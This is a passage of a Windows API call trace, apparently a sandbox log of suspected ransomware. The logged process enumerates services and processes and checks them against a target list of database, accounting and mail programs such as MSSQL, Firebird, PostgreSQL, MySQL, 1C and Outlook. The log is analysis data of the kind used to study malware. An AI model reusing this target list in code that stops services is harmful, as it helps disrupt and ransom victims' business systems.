	[0045.791] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.792] lstrlenW (lpString="svchost.exe") returned 11
	[0045.792] Process32NextW (in: hSnapshot=0x1f8, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0045.792] CloseHandle (hObject=0x1f8) returned 1
	[0045.792] Sleep (dwMilliseconds=0x1f4) 
	[0046.649] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0778
	[0046.649] EnumServicesStatusExW (in: hSCManager=0x35d0778, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0046.650] GetLastError () returned 0xea
	[0046.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12c6) returned 0x36a6320
	[0046.650] EnumServicesStatusExW (in: hSCManager=0x35d0778, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36a6320, cbBufSize=0x12c6, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36a6320, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0046.651] CloseServiceHandle (hSCObject=0x35d0778) returned 1
	[0046.651] lstrlenW (lpString="Appinfo") returned 7
	[0046.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0046.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0046.651] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0046.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0046.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0046.651] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0046.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0046.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0046.651] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0046.651] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0046.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0046.651] lstrlenW (lpString="AudioSrv") returned 8
	[0046.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0046.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0046.651] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0046.651] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0046.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0046.651] lstrlenW (lpString="BFE") returned 3
	[0046.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0046.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0046.652] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0046.652] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0046.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0046.652] lstrlenW (lpString="CryptSvc") returned 8
	[0046.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0046.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0046.652] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0046.652] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0046.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0046.652] lstrlenW (lpString="CscService") returned 10
	[0046.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0046.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0046.652] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0046.652] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0046.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0046.652] lstrlenW (lpString="DcomLaunch") returned 10
	[0046.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0046.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0046.652] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0046.652] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0046.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0046.652] lstrlenW (lpString="Dhcp") returned 4
	[0046.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0046.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0046.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0046.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0046.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0046.652] lstrlenW (lpString="Dnscache") returned 8
	[0046.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0046.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0046.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0046.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0046.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0046.653] lstrlenW (lpString="DPS") returned 3
	[0046.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0046.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0046.653] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0046.653] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0046.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0046.653] lstrlenW (lpString="eventlog") returned 8
	[0046.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0046.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0046.653] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0046.653] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0046.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0046.653] lstrlenW (lpString="EventSystem") returned 11
	[0046.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0046.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0046.653] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0046.653] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0046.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0046.653] lstrlenW (lpString="gpsvc") returned 5
	[0046.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0046.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0046.653] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0046.653] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0046.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0046.653] lstrlenW (lpString="iphlpsvc") returned 8
	[0046.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0046.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0046.653] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0046.654] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0046.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0046.654] lstrlenW (lpString="LanmanServer") returned 12
	[0046.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0046.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0046.654] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0046.654] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0046.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0046.654] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0046.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0046.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0046.654] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0046.654] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0046.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0046.654] lstrlenW (lpString="lmhosts") returned 7
	[0046.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0046.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0046.654] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0046.654] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0046.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0046.654] lstrlenW (lpString="MMCSS") returned 5
	[0046.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0046.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0046.654] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0046.654] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0046.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0046.654] lstrlenW (lpString="MpsSvc") returned 6
	[0046.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0046.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0046.654] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0046.654] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0046.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0046.655] lstrlenW (lpString="Netman") returned 6
	[0046.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0046.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0046.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0046.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0046.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0046.655] lstrlenW (lpString="netprofm") returned 8
	[0046.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0046.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0046.655] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0046.655] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0046.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0046.655] lstrlenW (lpString="NlaSvc") returned 6
	[0046.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0046.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0046.655] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0046.655] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0046.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0046.655] lstrlenW (lpString="nsi") returned 3
	[0046.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0046.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0046.655] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0046.655] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0046.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0046.655] lstrlenW (lpString="PcaSvc") returned 6
	[0046.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0046.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0046.655] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0046.655] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0046.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0046.656] lstrlenW (lpString="PlugPlay") returned 8
	[0046.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0046.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0046.656] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0046.656] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0046.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0046.656] lstrlenW (lpString="Power") returned 5
	[0046.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0046.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0046.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0046.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0046.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0046.656] lstrlenW (lpString="ProfSvc") returned 7
	[0046.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0046.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0046.656] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0046.656] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0046.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0046.656] lstrlenW (lpString="RpcEptMapper") returned 12
	[0046.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0046.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0046.656] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0046.656] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0046.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0046.656] lstrlenW (lpString="RpcSs") returned 5
	[0046.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0046.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0046.656] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0046.656] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0046.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0046.657] lstrlenW (lpString="SamSs") returned 5
	[0046.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0046.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0046.657] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0046.657] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0046.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0046.657] lstrlenW (lpString="Schedule") returned 8
	[0046.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0046.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0046.657] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0046.657] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0046.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0046.657] lstrlenW (lpString="SENS") returned 4
	[0046.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0046.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0046.657] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0046.657] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0046.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0046.657] lstrlenW (lpString="ShellHWDetection") returned 16
	[0046.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0046.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0046.657] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0046.657] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0046.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0046.657] lstrlenW (lpString="Spooler") returned 7
	[0046.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0046.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0046.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0046.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0046.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0046.658] lstrlenW (lpString="swprv") returned 5
	[0046.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0046.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0046.658] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0046.658] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0046.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0046.658] lstrlenW (lpString="SysMain") returned 7
	[0046.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0046.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0046.658] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0046.658] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0046.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0046.658] lstrlenW (lpString="Themes") returned 6
	[0046.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0046.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0046.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0046.659] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0046.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0046.659] lstrlenW (lpString="TrkWks") returned 6
	[0046.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0046.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0046.659] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0046.659] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0046.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0046.659] lstrlenW (lpString="UxSms") returned 5
	[0046.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0046.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0046.659] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0046.659] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0046.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0046.659] lstrlenW (lpString="VSS") returned 3
	[0046.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0046.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0046.659] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0046.659] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0046.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0046.659] lstrlenW (lpString="WdiServiceHost") returned 14
	[0046.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0046.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0046.659] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0046.659] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0046.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0046.659] lstrlenW (lpString="WdiSystemHost") returned 13
	[0046.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0046.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0046.660] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0046.660] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0046.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0046.660] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0046.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0046.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0046.660] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0046.660] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0046.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0046.660] lstrlenW (lpString="Winmgmt") returned 7
	[0046.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0046.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0046.660] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0046.660] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0046.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0046.660] lstrlenW (lpString="WPDBusEnum") returned 10
	[0046.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0046.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0046.660] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0046.660] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0046.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0046.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x36a6320 | out: hHeap=0x4f0000) returned 1
	[0046.662] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178
	[0046.665] Process32FirstW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0046.666] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0046.666] lstrlenW (lpString="System") returned 6
	[0046.666] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0046.666] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0046.666] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0046.666] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0046.666] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0046.666] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0046.666] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0046.667] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0046.667] lstrlenW (lpString="smss.exe") returned 8
	[0046.667] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0046.667] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0046.667] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0046.667] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0046.667] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0046.667] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0046.667] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0046.667] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0046.668] lstrlenW (lpString="csrss.exe") returned 9
	[0046.668] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0046.668] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0046.668] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
